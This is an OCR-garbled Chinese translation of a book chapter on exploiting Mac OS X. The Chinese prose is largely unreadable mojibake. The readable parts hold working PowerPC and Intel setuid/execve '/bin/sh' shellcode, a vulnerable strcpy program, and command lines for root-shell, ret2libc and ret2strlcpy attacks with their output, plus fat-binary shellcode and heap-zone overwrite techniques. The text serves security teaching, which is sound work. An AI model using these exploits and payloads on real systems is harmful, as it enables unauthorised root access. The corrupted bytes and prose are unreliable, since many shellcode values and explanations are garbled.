£AxfE\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5
4\x38\x63\xfe\xf4\x30\x61\xFF\x£8\x90 \xal \xff\xfc\x3B\xB1\xE£\xfB\x3b\xc
0\x01\x47\x38\xle\xfe\xf4\x44 \xE£\x££\X02\x7c\xa3\x2b\x78\x3b\xc0\x01\x0
d\x38\xle\xfe\x£f4\x44 \xfF\xE£\x02\x2f\x62\x69 \x6e\x2£\x73\x68") "

sh-2.05b$

KHET ! XA shellBh T . WREFRA suiahl, RIVZEEE— Mishell. TLUMNEH
ffiAR shell B e 8 B suiafil:

Apple:/Users/shellcoders/chapter_12 root# chown root ./stack

Apple:/Users/shellcoders/chapter_12 root# chmod u+s ./stack

B, DB P S BT RN

Apple:~/chapter_12 shellcoders$ whoami

shellcoders

Apple:~/chapter_12 shellcoders$ ./stack "$(printf

"%048x\xbf \xfc\x04\x04" ) $ (for ((i=0;1<40000;i++))do printf

*\x7c\x63\x1la\x79"; done;)$(printf

"\x7c\x63\x1a\x79\x40\x82\xf £\x£d\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xf

E\x££\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5

4\x38\x63\xfe\x£4\x90\x61\x£f£\x£8\x90\xal\xff\xfc\x38\xB1\xE£\x£f8\x3b\xc

0\x01\x47\x38\x1le\xfe\xf4\x44 \xf f\x££\x02\x7c\xa3\x2b\x78\x3b\xc0\x01\x0
d\x38\xle\xfe\x£4\x44 \xf£\xE£\x02\x2£\x62\x69 \x6e\x2£\x73\x68*) "

sh-2.05b# whoami

root

sh-2.05b#

TFHEMA /D4 . PowerPC LIOS X shellcode 5 Linux |- FIRE RN, B
R LA SR . RS IAIRIR, B05 BRAREPE X FRR A ML T LR BT, 0
AR SR W shelloode T 0 RE IR, X Heshellcodeth % T BATAE. [ARE, AVHIRTHog
B 1 REABCBRA TR (3 NI 7 R th P AT LA H <

(1) B HiHicookie;

(2) BATRRBIHAL
(3) ARALATHAT I«

Z/DiE4TEPowerPC A FE 3 EMOS XARIXAE Ko
BUAERT— FIXBACTHEIR M T 486t 4. B4 T4k shell{1B-r00t shellcode:

0x3014 <ppcshellcodes: xor. x3,r3,x3

0x3018 <ppcshellcode+d>: bnel+  0x3014 <ppcshellcode>
0x301c <ppcshellcode+8>: 11 r10,291

0x3020 <ppcshellcode+12: addi  r0,r10,-268

0x3024 <ppcshellcode+16>: .long OX44£f££02

0x3028 <ppcshellcode+20>: ori r0,73,24672

0x302¢ <ppcshellcode+24>: xor. r5,15,¥5

0x3030 <ppcshellcode+28>: mflr 3

addi  r3,r3,340

0%3034 <ppcshellcode+32>:
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0x3038 <ppcshellcode+36>: addi  r3,r3,-268
0x303c <ppcshellcode+40>: stw r3,-8(r1)
0x3040 <ppcshellcode+dd>: stw r5,-4(r1)
0x3044 <ppcshellcode+d8s: addi  r4,rl1,-8
0x3048 <ppeshelicode+52>: 11 x30,327
0x304c <ppeshellcode+56>: addi  r0,r30,-268
0x3050 <ppcshellcode+60>: .long Ox44££££02
0x3054 <ppeshellcode+64>: mr x3,r5
0x3058 <ppcshellcode+68>: 1i r30,269
0x305¢c <ppcshellcode+72>: addi  r0,r30,-268
0x3060 <ppcshellcode+76>: .long Ox44££££02

RLEIELE - BHLES AU, EUTFAFERLRME.

Q #EPowerPC.L, WH AN ARG N XIS H XK. link & 77884 FRERHRIZH
IR [Elihl, count?FFE A% H FI T HATIRC switch R AR AU, 2807 LLFE B4 F R A R i
bir (Elink &5 #7854 30 Fibetr (FlcountFF RN 154

0 PowerPCH32ANEM H 47758, WK AL HroFEe3l,

Q 0x44££££024R 4 fEsc (syscall) Fi&MARET AR, ALLHESR Fine soxs0.

O MiRSEHINPBHIN, B SRR H MM, HIFHARSH, Hiaddi ro, rio,
~268fR & Er 10/ L -268 (45 RARIFEr 0K o

Q fEdifilsyscallltf, syscallth S{RIFErOH . SHIRGF/EIL EMAFRE.

Q fRsyscall KIK, HHITEEZ ML, WRsyscall Ry, #Peitsyscalliid .

BULEBAT /)7 iX P shellcodes

(1) #8r3 F—AsyscallBH) #H0.

0x3014 <ppcshellcode>: xor. r3,r3,r3

(2) IXFEWRAT “QIRAETFOx3014MMAT I} 747, TEXE “NME” B “B7. KEHS

FIRIE F A AT AT Hu bl (FRF TR IR 7788, Spe) MRAFBlink #4788 o 7E3X P shellcodeffy

JR 2 F Bllink 27 1748
0x3018 <ppcshellcode+4>: bnel+ 0x3014 <ppcshellcode>
(3) XA H20 MBI r1 0 A4 L.
0x301c <ppcshellcode+8>: 1i r10,291

(@) EFAIE-268 5 r1 0W/E B R IMATN, IHELRIRAF ok, Bk, BEEREE
syscallZ¥0, Ero {77 A syscalldi T (291 - 268 =23). 23J “setuid” fisyscalldi s .

0x3020 <ppcshellcoderl2>: addi  r0,r10,-268

(5) BRAE I Flsyscallo oriiR&ZEM R RHFEY. B4, W iRsyscall KM, PowerPCHHIITE,
0 Rsyscall RN £ Bt E

0x3024 <ppcshellcoder165: .long Ox44££££02

0x3028 <ppeshellcode+20>: ori £0,3,24672

(6) XAARL W BRr ST AR A Ao
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0x302c <ppcshellcode+24>: xor. r5,r5,r5

(7) BEIELNink 788 (RAEEEOx301840) BEIr3E,

0x3030 <ppcshellcode+28>: mflr 3

(8) RAEIELIT340 53 BINEMM, I REFI R,

0x3034 <ppcshellcode+32>: addi r3,r3,340

9) KSR MB-268 5r3 B IMMHIM, FFOLRBAFIEE. B, r3RMHRT2 (340268
=72). T2/ Mox3018 (AT B EFHEFFIHH) Blshellcodeli B (F7FH/bin/shiRfe

KR HimBE.
0x3038 <ppcshellcode+36>: addi r3,r3,-268
(10) AR HIRAFA (r1) -8 OXRFEWITMargy 1 BHHF Wargv(0]).
0x303¢c <ppcshellcode+40>: stw r3,-8(r1)
(1) XEHLHrs (FHE) BRI (x1) -4 (aravil])de
0x3040 <ppcshellcode+44>: stw r5,-4(rl)
(12) XAAE IO Margv 93 HRAF Era .
0x3044 <ppcshellcode+48>: addi r4,r1,-8
(13) X444 4132748 A r30.
0x3048 <ppcshellcode+52>: 1i 30,327

(14) X ARLH0-268 5 r30 B MMM, FFIELRBAAEOR (0 = 327 - 268 = 59 =

SYS_execve).

0x304c <ppcshellcode+56>: addi r0,r30,-268
(15) ¥ fisyscall, ARLHHOLER,

0x3050 <ppcshellcode+60>: .long Ox44ff££02
0x3054 <ppcshellcode+64>: mr x3,r5

(16) BRLEIE 2698 A r30.

0x3058 <ppcshellcode+68>: 1i 30,269
(17) $B-268 530 MMM, HIELRIRIFLEOR (r0=269 - 268 = 1 = SYS_exit),
0x305¢c <ppcshellcode+72>: addi r0,r30,-268
(18) ifexit () syscalls

0x3060 <ppcshellcode+76>: .long Ox44££££02
R TIX 4 RBE, shellcodest 2 A :

setuid(0);

execve( */bin/sh* );

exit();

R R R

KBTS, B-roOv T /LAY, M@ Sdtshellcode A F45. - ANEEITE
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WA AR G2 % M . Last Stage of Delirium F20014E7 7 “UNIX Assembly Codes Development
for Vulnerabilities Illustration Purposes” ¥:3CH ¥ YR EX A Jik. PowerPCRI|E KIS H 2
324, WPRETHE “REM” AL, XL “REM” SOEWHEBY0. R, ELEHE
A, XS R— RAEERN0, B R BB S MBS R AR . B,
ERHERARBE, RIVHoxae£££0248 4K Asyscall. ILIE Mscii &3 /2 0x44000002,

B3k LRATH oxee B # T H A MM ZFY, BXEMHFRE5IRAE. X nopif 4
(0x60000000) Kt R—FEN, B, ALHBE MK 0x60606060,

BB RIE R BB HRE T R, £ EWOARERE, RIEERT
268 5— A A BAMMITR S . AR 22 BB RN F256 MR — A F 256 BUEAM
. BRI i FHMREMT . fia, WRRRH#ITaddi 3,13, 28, HEFHEL
#0x3863001cEFE MRS TSR H—PEFH). .

1E S uniy i (http: i d.org/?v=1&a=18&t=pdf) FIFERI K] 37 “Mac OS
X PPC Shellcode Tricks” &, H.D. MoorefM 43 T % FPowerPC shellcode4a 2 ) EZRA ) 3 7F - Moore
3, B TFPowerPCIHLMIBAFITH, JPowerPCF GRS M 2 HIME. MBBSAHE
BAHRATRIG, REFIIT GRMRERT BN, A RIS BUR 1 1RBD 24
AT, BBAFIARED U T R 2 thBLo X REEIRRGRANEAL , BEAF—ANK I SR GAF IX W FEIRE R (A
Fildbefiit4). SHXENFHARRE, Micifh SRFRT NG RER, 5, ERITRILI
P ATisyncii4 . MooreiB M4 T it RE4LREA #FF32%, ‘&R LiDino Dai Zovi
PR B 38 b JE BT FF 24«

B, WRARAILX fshellcode (FREZILBIX BT, Bk, RATEEMIRN %R AILHD,
4 PowerPC shellcode® A T ). RAIERTEM M AN HOLBIEN T — LIk, XL
P REAERZE F4R 508 X PowerPC shellcodeAfi ki /7 ik S R4 -4, BHATIN ) I9HERS, MR
AT M E X Fintel {41, PowerPC Macky A KD . HMEMM, CAKARKIOS X
PowerPCHLE VIR &AFAE— BT, tnfscai —AMER AR S, RS TR LRBIEq]. WR
R T, ZERABIATFOFARTN, WREECREREFANRTG, BALNEERHRK
By, HPHE RS TFHYLE. TEAANAEH LK ntel £ LHOS X shellcode.

12.5 OS X Intel shellcode

TE20054E6 5, SRS T BLATH FE20074F4E K 2 RIKs T 47 57 (I Mack # B Intel A 38 . 3¢
RATELRATLEI T XA B, FEHH > IMackBRA T Intel b8 2. FIt, Antel'F & E
08 XS Hishellcode AR T T - fi 12§ 44415 T Intel shellcode ) FER R I FEEH T-08
Xy AHEA AL — AR A

— 645 FIntel OS X shellcodef] FiZHR U T o

O FEET, BTGEERLRITRTE (BATER ERIT). FERA T ELRA T intel )

NERARBE N FETURG G PE, SCBL T AT RATER, (BB LA ATHATHE . HATER
FARERAEBIHUL, AT HRoookie, BT —HEHISKBLBEHUAL SRS R 04k, IRERARE
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BB R AR LIS, B0V SR RIS BRI . AR B A B
A R R F Bt Intel RIOS X, SRS, RATAFH TS ERAR VORI R 8.
syscaliifI407E: int 0x80, WL ELAERASY, ERE—MSHUEM—MEHIEE
Huhik, B9k 75— BSDRUM A 2 F B [FT A o
AIE A int 0xB034 fsyscall. #syscall {IZBMAE L RN, syscallfi S 4 5 R FFfEeax
B FHEEERE, OS XFUMIR LA~ “Hmm” 3200, BERESERZHEA
syscallgi % i il F TR stubs
do_syscall:

int $0x80

o

o

ret

WPR, XBAMEERHRITAEEMAREER LT, LERTOSHZ E Hit,

syscalliLiI2mE T 40T LB H—AN3200 5. /RAT RESE ¥R L 7R I B BORSR S

shellcode. #i4, HRALAT L2 syscal IHLEIHTX BRI fldo_syscall, TiAZHM

fTpush; int $0x80; pop. JXHHMMIEBRARE, TEx86. L&A “HMAIX A" 2R

A, B, KRR EER ST WHREAR KRG R . 5, IR LUTsubi LR

AN, WRENLFARAAE, BRI R BRI 1708 R

AT LABE KU, RARATHISH fipush/pop. AEFEALEE, WRNMT #Linux EHT

shellcode, XA A fELACARIGH IR .

a piik. JEARH AP B RRE) T ) R R Jiktrace, BHA M-l
JEITERBIR A BERR (B . Kirace X424 H ARAR T M M BT AT syscal B R R LB 5. B4,
45 fishellcodetu 754 Zsyscalld, ELMRATHE.

0 REE T setuid(0) . WEBFIAIHFLFZ T Lhroot il 84T, FUGEITH, 2R (T
) hMtrootify i o

0 MREARFRNLIETIE—1, execve ()VFFHERIT, IX/LOS X shellcode fTiBHI ML
—: WMRNAREHEIRRL, N T R execve (), ARFILMBAT ~LeHMTHA
fork () X KM% . 4R, WRMAform(), BFBEGRIEGHEPIEATIER . ERLEM 5
F, R exit O, WTAER MMM, Nk, AR Hvaitd 00 HBTA—,
Pifiisetuid (0) BVFRM R L. BWik, 3 FBHITEL Kshellcode L, /R Hisyscall

5|4 jtsetuid(0), fork(), waitd (). execve()Flexit ().

12.5.1 shellcode 34!
Fifii&—Mntel *F & L fexecve () shellcode3: .

o

jmp start
do_exit:
xor eax, eax
push  eax
inc eax

push  eax
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int 0x80  // exit(0)
start:

xor eax, eax

push  eax

push  eax

mov a1, 23

int 0x80  // setuid(0)

pop eax

inc eax

inc eax

int 0x80  // fork()

pop ebx

push  eax

push  ebx

push  ebx

push  ebx

push  eax

xor eax, eax

mov al,7

push  eax

int 0x80  // waitd( child )

pop ebx

pop ebx

cmp ebx, eax

je do_exit
do_sh:

xor eax, eax

push  eax

push  0x68732f2f

push  0x6e69622f

mov ebx, esp

push  eax

push  esp

push  esp

push  ebx

mov al, 0x3b

push  eax

int 0x80  // execve(

S, R AR

- fails in child

'/bin//sh' )

" \xeb\x07\x33\xc0\x50\%40\x50 \xcd \xB0\x33\xc0\x50\x50\xb0\x17\ xcd\xB0\x5
81x40\x40\xcA\XB0\x5b\X50\x53\x53 \x53\x50\x33\xc0\xb0\x07\x50\xcd\xB0\x5
DAXS5D\x3b\xd8\x74\xd9 \x33\xcO\X50\x68\x2 £\ x2£\x73\x68\x68\x2£\x62\X69\X6
@\x8b\xdc\x50\x54\x54\x53\xb0 \x3b\x50 \xcd\x80"

12.5.2 ret2libc
BT HRATAIR? 55 1450K5

MMGXITEA, RAE SR — L AR N e 270

%, BATAIS Rret2libe. M2HCDAAMIL T, R AT LA FHE I RA fshellcode,
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i A R BPL R BT LAt BT AE AL B R, Hodlsystem() »
RATEHALEPowerPCHI A A fistack. cFRFAE AR . AR, B TR THRR, RATRIBL
T — R
// stack.c
#include <stdio.h>

#include <stdlib.h>
#include <string.h>

int main( int arge, char *argv(] )
{
char buff[ 16 );

printf("buff: 0x¥0Bx\n*, buff );

if( arge <= 1)
return printf("Error - param expected\n®);

strepy( (char *)buff, argv(l] );
return 0;

)

BATIKBAH, a7

macbook:~/chapter_12 shellcoders$ ./stack $(printf
I LL )

buff: Oxbfff£c00
Segmentation fault

:~/chapter_12 shellcoders§ gdb ./stack
(gdb) set args §(printf

IT1I L )

(gdb) run
Starting program: /Users/shellcoders/chapter_12/stack §(printf
Reading symbols for shared libraries . done

buff: Oxbff£fb10

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x48484848
0x48484848 in 22 ()

RATIEAE e S RAE (AR E bt R, EPRERRHR, busefibb AR —RA
AH o IRARERBOX AR, — e EHIEI SR AT H 0. A, 7EFRREMZRSEF AT
FEFPRS, puf MR RZ R —B

TSRBATIAE R syscenlfy bt

(gdb) info func system
All functions matching regular expression *system':
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Non-debugging symbols:
0x90046££0 system

0x900bd450 new_system shared_regions
0x9012ddc8  sveerr_systemerr

PERERER, WEERERER FEXH:
TR

Saved return address system()

Ret after system() <whatever>

Argument to system() Address of '/bin/sh'

Argument /bin/sh

s

SEMEGE, WRI /bin/sh BAEFR SR, EUENFRMLEFATRBE. BARN
EZEMHous bt

macbook: ~/chapter_12 shellcoders$ ./stack $(printf
111 )

buff: Oxbffffc00

T MR BRI R F AT, o2 ek LA IR rh X

macbook:~/chapter_12 shellcoders$ ./stack $(printf

* AAAABBBBCCCCDDDDEEEEFFFFGGGG\x£0\x6 £ \x04 \x90AAAA\%28 \xfc\xE£\xbE/ //////

/11111111 1bin/sh*)

buff: Oxbffffc00

sh-2.05b$ id

uid=502 (shellcoders) gid=502(shellcoders) groups=502(shellcoders)

sh-2.05b$ exit

exit

Segmentation fault

macbook:~/chapter_12 shellcoders$

XA Blshell T, BEG AR T B, FERERERIAWMMT, HEERET
0x41414141, TOBA MU, 036, IRRIMARESEERE, (R (Flexit () BAMAMIHTHEHT .

12.5.3 ret2str(l)cpy

TANIAE RTH © 2 AR i ret2libe ) TAEJRER . SEA S 4F (0 ) 7 7T LA P ishellcode 7E €
T RAATIO? 4R, —Fh K hret2ibef J5 iR 7T LABCEIX — 45, AATE L EHR Hret2strepy.
KA IR Flstropy (AL FATAEEAA HIRE T, 48 (A7) 4% kifishellcodeffituiit
fEhsrcB¥, 0 CATHAT) H LEHALIE hase B BALBL ¢ .

char *strcpy(char * dst, const char * src);

AT ZAQ T -

1 Ak

Saved return address
Ret after strcpy() Address on heap

Dest Argument to strcpy() Address on heap
Src Argument to strcpy () Address of our shellcode on stack

Address of strcpy()
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<shellcode>
4 sk

BAV BT B AN, B Efstrepy O il RE - ADEF:
(gdb) info func strepy

0x90002540 strcpy

[k il strlcpy % #astrepy :
(gab) info func strlcpy
0x900338£0  strlcpy

stelepy R0 F «

size_t stricpy(char *dst, const char *src, size t size);

W HEMAESUE, EstricoyMFINMSH (EEBMBRTIHED BAERK LereBH2Z
& BJF, ARARERT :

LR

Saved return address strlcpy ()
Ret after strcpy() Address on heap
Dest Argument to strcpy() Address on heap
Src Argument to strcpy() Address of our shellcode on stack
Size argument to strlcpy 0x01010101
<shellcode>

4 sk

ER, sizeBBORBEEHIMBATAR. EHRHEHLHAFY, FURERRH 28
REE, RATERENZ BT Hox01010101.

BAVEREH— B (BB, REFLEEFHMIL . RAEstack
fyvrmapfI#it, 7T LA 2

MALLOC 01800000-02008000 [ 8224K] rw-/rwx SM=PRV

DefaultMalloczone_0x300000
TR Mt 0x01810101 R &3F

RISCHTIR, RAIKshellcodedi T«

“\xeb\x07\x33\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17 \xcd\x80\x5

B\x40\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5

b\x5b\x3b\xdB\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6

e\x8b\xdc\x50\x54 \x54 \x53 \xb0\x3b\x50\xcd\x80"

AT LAAE R I —nops, MTTHE FARERSBA . BF, AFRHQ T HEXH:

./stack i lcods ze arg>

<shellcode>

macbook:~/chapter_12 shellcoders$ ./stack §(printf

. \ A01\x81\01\x01\x01\x8
10201 \2C0\x£ED\REE \xbE \x01\%01\x01\%011x90\x90\x90\x90\x90\xF0\x90\x90\xe
BAX07\x33\%c0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17 \xcd\xB80\x58 \x4
0\x40\xcd\xB0\x5bAx50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5b\x5
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DAX3DAXAB\X74\xd9\x33\xc0\x50\x68\x2 £ \x2£\x73\X68\x68\x2£\x62\x69 \x6e\x8
bAXAC\x50\x54\x54\x53\xb0\x3b\x50 \xcd\x80" )

buff: OXbEfffbo0

macbook: /Users/shellcoders/chapter_12 shellcod: ia

uid=502 (shellcoders) gid=502(shellcoders) (shellcoders)
macbook: /Users/shellcoders/chapter_12 shellcod exit

:::chk:-/chapter;lZ shellcoders$

AIRHBE RIS FAR R AR HOR T o 24k, B0TInteli H Rlittle-endianff], 4775 HIRFH
LA B, PUt, 0x900338£07M T \x£0\x38\x03\x90. Huhtf:

0x900338 £0—strlcpy

0x01810101—3ftsbik (F42)

Oxbf££fbc0—A L#ishellcodesbit

0x01010101—strlcpysf ) “X-" £k

WM Renop MHE (810x90F745), G RBAHishellcode.

FEBLRIVERT Y, IRELTHTOS X EMARTHATHRIT RATR SRR 2K
[, IXEBTTHRATHE, LUROS X7EHuE T — B AR i

IR BV, BRI —Ry — 8 R TR, RSB LK
BEFHN, RAHRRE, FAZFTENSKIEFHE. ROFEMRMGE: £ ORI
BA m&wm%, AEEFY, RIE B B HRETEHTUME], K Eifre2sscanf.

W BTLMR R XA f sscant:

sscanf( *100 200 300 400", "%d %d %d %d", 0x11111111, 0x22222222,
0x33333333, 0x44444444 );

BT 64100, 200, 300F14004 H) B EHiib0x11111111. 0x22222222. 0x33333333
Moxadaaaads o BATBWIRE, RATTUFRERME: TURREFWERRHD SMER
fH CRIEEF. LFR L, ZARIHREE T M TN T AEAER I SERME” FE, A
Fisscanf, ATRTLUHHE—E # I FEEI MMM . 08 X |, mprotectHlvm protectIF
WAFHRERE, R ENTAT LU — AN RAT B W FE X

12.6 OS X ¥ & shellcode
ZEAIFIOS X P4 Eibught, BHMILT, 55— MPowerPCRllntelF-& LAFAI LR T

HEHIR R .

££2005 Ruxcon K% L, Neil Archibald /! Ilja van SpnmdelE{Ml’]B‘J “Breaking Mac 0S X” 4
ARTIRE) T 7T USRI A HFRMEAR (FE] ing_mac_osx.pptA]
LARENX M)

IR EEME T Phrackfeis GE5THD BHBKIAA. EAMBARME L. HREIHR
Y, BE—MPE ERjmpAR, BLES—A () F& LM Fnop. Bk, #£OSXE,
HRE B X R il R A B R XA
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<nop on both>
<nop on both>

<nop on both>

<nop on ppe, jmp to Start on intel>
<ppc shellcodes

start: <Intel shellcode>

Neil fillljaf AT THIA 40 A5 3200 4

Oxfcfcfefe

#EPowerPCHlIntel L#8fnop, B%7EPowerPC_ L& LFR L2 T famsub (floating-negative-
multiply-subtract) 54, BEHABFY;: FEntel’F A LB AR T4%cld (clear direction flag)
4 (0xfo), MAJF, MATHERE|—FXFENIES, ErEPowerPC LA A AR, {H7EIntel Fih
ATjmpatE. MITRE

0x5£90eb48
&S, FATEPowerPC L'EHiA#HE irlwnm (rotate left word then and with mask), 1fiZEIntel =&
XA T

0x5f: pop edi

0x90: nop

Oxebd8 : jmp 0x48

IX fu¥FAbA 4 IntelFIPowerPC shellcode B I AR [ iyt /s o

55 —F T iR Ak H PowerPClfinop# 4, HARI¥ H92B7EIntel 12 “jmp”, #1501 1 SR 9
Oxeba8, IXHKHH4EN:

0x6060ebd 8

SR WO AT LUIE GRAF 11 I 5] 3 b/ o8 B9 @ BOB IRIR X RIS B AN FE . R
PowerPC_F-Hihik & NMIFH, X4 4@ K8 24 finopK AT AT, Elntel ERATHBEEIEH
LB, R mpRAAT o

ARIESERRIIIL, 7R AT GEAR AR AN I BUX RS, BMAR DML T MR AL, 48
HRAS RO IE L, JRATAT AR FH Intel MPowerPCHERR A A J7 M2 5, IXTENRRRNE L¥ ROVFH
A AR ifishellcodek . (ERHEE T £ BRI FIRLFRGL, o o] AR a VR, JIH W R AAEHENS th il
He A Hbught R, ZEIKFRY 1 S BEARSR ) IR S P /1 6 (TS5 T i L 2 —
RGN B, EARRET & [Mshellcode i B T it AR A BB, (EARRIMEA REARM A, tnThe
Je s, AR BB, FLXA B BRE N 2R E) MR, TS A AR
shellcode. HRRBL, AISARTE AT AR FIXAMECAR M3t 77 (8 38bug, 84 FINeil Bl ljaft 7 kA%
PRIXA ) B ) AR E

12.7 OS X #t:#I/A

08 XM SR & B SERA K —FE. EICH P BRI B RAE —, R
FWo HzoneAER, 4iM. malloc_zone_t. “malloc,” Ml “free,” fIEFF B MRE LA
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AR BB AR S fizone B . nemo@felinemenace.org?EPhrack k&M ICFE (Phrack 63, Article
0x05, P 12.1095H MISCHR) KBAMA T #O0S X L Bmalloc_zone tZHIMMEAIAEA.
AR REF FEHENS i (9 08 B0 Jr i, ZE R0 H B SR T LARE B R BGR e RTR E, Earl
RESF. EREMELHWEE, YFHGEEREN, RTUEHRARIR .

(1) BRI R “TRAN” UNTF500B) B “IRA” (KT-0x4000B).

() RtiFTUSERF, URRCESHRT 2% “X” Mk, HH{RAERH S WK
R ffjmalloc_zone B ¥4t R 2 M BA RIS HIT .

(3) ks TR AT LAS R 9B, MDA VF IS BB E

EABARMERARLET, RBERIAEE, 5T LTINS A R SRR S

nemolffy 3 # BLIRGL TIXAMHARKI LG, M8 T 54 B EFIFHWebKitE S (OS X+ Safari
Web3 S8 L F BEAE 2  3A0 —#840) H ibug.

FEX AR FE R B HSUR T nemofgHA

#include <stdio.h>

#include <stdlib.h>
#include <string.h>

extern unsigned *malloc_zones;
int main( int arge, char *argv(] )

char *pl = NULL;
char *p2 = NULL;

printf("malloc_zones: %08x\n*, *malloc_zones );
printf(*pl: %08x\n", pl );

pl = malloc( 0x10 );

while( p2 < *malloc_zones )
P2 = malloc( 0x5000 );

printf('p2: %08x\n", p2 );
unsigned *pu = pl;

while( pu < (*malloc_zones + 0x20) )
*pus+ = 0x41414141;

free( pl );
free( p2 );

return 0;
)
TR, RAVEMAIART —MEAIIR, BIE GEL) HRADH0x5000M55R, HF4
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AL Pl K Tmalloc_zonestiét. X#& M, TAISRATH HiFmalloc_zone t45H2 [A] ¥4 A Al
BRI, B, TR RS, BRERRENN . RIERE EBoxa1414141,
Mpl—H[H L5 F*malloc_zones + 0x20. 3% FXKiAftree() MR, FEoxa1414141 (FK
# i TPowerPCHUIEERBE AR, PR T 0x41414140) LEERIMAT. FEgabPHEERB T HIXF:

{gdb) run

St:rt)ng program: /Users/shellcoders/chapter_12/heap

Reading symbols for shared libraries . done

malloc_zones: 01800000

pl: 00000000

p2: 02008000

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414140
0x41414140 in 22 ()

B W BERAT, OS XHF—NFAbR, BTEMRRE Mt IR — 5T S iR
et MK BARh  ATAEAERTIAEE S AEFTME” [REN AR, B, fEbhad R A
A 80k AL R bug e T R R R RS o

12.8 £ OS X 134k bug

f—edbHH (UHTO0S X) MTR, A Abugh AT KF.

Q ktrace/kdump., ZERTI D23, XPAMEMN LR AFARSE MR EERRATA
ARG E— B TAVRA M, 45K syscallfshellcode Xy R A A F A

Q vmmap. M3E5E KB AR— AN AR (map). PRI TR MARAFES. frizar
U EEREAFR R BMRIBEE “RRZL7.

0 heap, leaks, malloc_history. #IF{RIEZESF-HRIEREH, HAENITREAALIR LA,
R EATAT LASY SR REHE AN ROAOY L PTBE M) PO 77 LA R BT AT SRR R 2 O S it

Q Isof. EARITIFMIICH (ARBPERET).

Q nm. SRRSO RIBATR CERPIERTS ).

O otool, @R “HEHISCHPEMER AL, B, RICREE. 5. HAHKIRES.

0 xcode. FFAEMIOS XFFRT S, T gecRigdb.

12,9 —LHBAY bug

T Bl A S5S (0 R VAT SRR AT 0 S 0 35, R AT ISR (97 R AR XA - HRbug # o]
ERHHH.

R fHEF#Month of Apple Bugs il H o RFIXAMIH MRS Rt MM X EEAFER, B
AATTANECA ff BE AR MR T S R, B OB — 4 B 2 934 hitp//projects.info-pull.
com/moab/ .

Brib 2z b, EATAROCAAIFMbug, I — LR R, SR T ABHTREER
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4, BRI T Apple st ALK IERIEMT A«

Fiin, MatasanoffiDino Dai Zovi &I, MachHUnix % &4RH 2 [6] )2 F46 7 — MGG .
RS MR R Blsetuid F AR W, W&@ﬁTEﬁi’rﬁJ?i{ﬁ#&ﬁxﬂfﬁﬂuMmh “SHB
17 SR AR, 1 Whttp://ww dvisory pti

server-privilege-escalation/.

TEApple QuickTimeli Tunes & BLH) L SCAFH RAEHT 1 IE, #MEIEOS X7EWMFTH
Fh e B, JLEFTH KRR REER D) T RN BGOSR BN, XEREHAH
BT, RAETHAERLEES, 550 RYE SO RERRRAN, H20R~bE
RERHDEH HBI.

Kevin Finisterre2#1 5 1 7E Intel E48i$0S XA T HATERATH AR, M T launcha 25
B bug (“Non eXecutable Stack Lovin on OSX86”, http:/ www.digitalmunition.
com/NonExecumbleLovm ixt) ot 7 2 JL http://www.digitalmunition.com/DMA%5B2006-0628a%
5D. _id=26933.

Kevmﬁ)ﬂ &ﬁﬁ?ﬁ%ﬁ&ﬁcmse 0 E‘Jrl;ﬁﬂﬂ@&mb@ FHEERE (ATHAT) 3 L Hishellcode.

R, Iusvanstndzli{osxaﬁpmgiucracerou:eﬁﬁgkm'!—/\ﬁiﬁ P s hival
FKBroot i AR htp:/www.suresec. .pdf

KAWL —NE S fsprincedith, W0 FAR:

static char buf(80];

LLete...
(void)sprintf(buf, "%#s*, inet_ntoa(*(struct in_addr *)&l));
Apple bugff)CVE4 H t{4# % http:/cve.mitre. gi-bi i? pple.

1210 XF OS X ®fRay TR

T ALANICHEROS X2 &, BMFRRIFRIBE LRI A KBt SAF3E F T AUM S0 (3C
HAMEA A AMBNL) #ik 8.

Neil ArchibaldfflIlja van Sprundel, “Breaking Mac OSX”, Ruxcon, 2005, http://felinemenace.
org/papers/breaking_mac_osx.ppt.

B-r00t, “ PowerPC/OS X (Darwin) Shellcode Asscmbly/Smashmg The Mac For Fun & Profit”,
h ”_OSX_Shellcode_A:

Kevin Finisterre,. “Non eXecutable Stack Lovin on OSX86”, http://www.digitalmunition.com/
NonExecutableLovin.txt.

IBM PowerPC Assembler Language tp://publil i i _US/
aixassem/alangref/mastertoc.htm.

© stub UL MBS, ——
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Christian KleinZlllja van Sprundel, “Mac OS X kemel insecurity”, http://www.blackhat.com/
presentations/bh-curope-0S/BH_EU_05-Klein_Sprundel.pdf.

The Last Stage of Delirium Research Group, “UNIX Assembly Codes Develop-ment for
Vulnerabilities Illustration Purposes”, http:/lsd-pLnct/projects/asmcodes.zip.

H.D. Moore, “Mac OS X PPC Shellcode Tricks”, http://www.uni org/?v=1&a=1.

nemo@felinemenace.org, “Abusing Mach on Mac OS X”, http://uninformed.org/?v=46a=
3&t=sumry.

nemo@felinemenace.org, “OS X Heap itati iques ”, i org/
papers/p63-0x05_OSX_Heap_Exploitation_Techngiues.txt.

palaate, “PPC ity.corest. juli ppe-sc.txte

Christopher Shepherd , “ PowerPC Stack Attacks, Part 1.” http://felinemenace.org/~nemo/
docs/ppcasm/ppe-stack-1.html.

Christopher Shepherd , “ PowerPC Stack Attacks, Part 2.” http://felinemenace.org/~nemo/
docs/ppcasm/ppe-stack-2.html.

1211 N

ARESH T I Tk FIHIBITEOS XF & _LINIKA-EE0S XA 5 Mbug 2 Wil BHARH
S, BATAbug i AFIFI R FAER I BEN 4 T LA R I90S X4tk HBOR T BRALEOS
XEHA (ntel’FG) HARATRATRI 7%

Macf B RRARE, AMURTAHR, ©A405 TRE, Hik, Mackiligda®ais
AP, WRIIXFE, ARG E RS HE RN CRTFEFE. | EhNF
RPETHEUE, OS XTEARR LA R A RIE



AR F T FIR R A 7 M SRGERE AR B . BRI MR HATEL TR

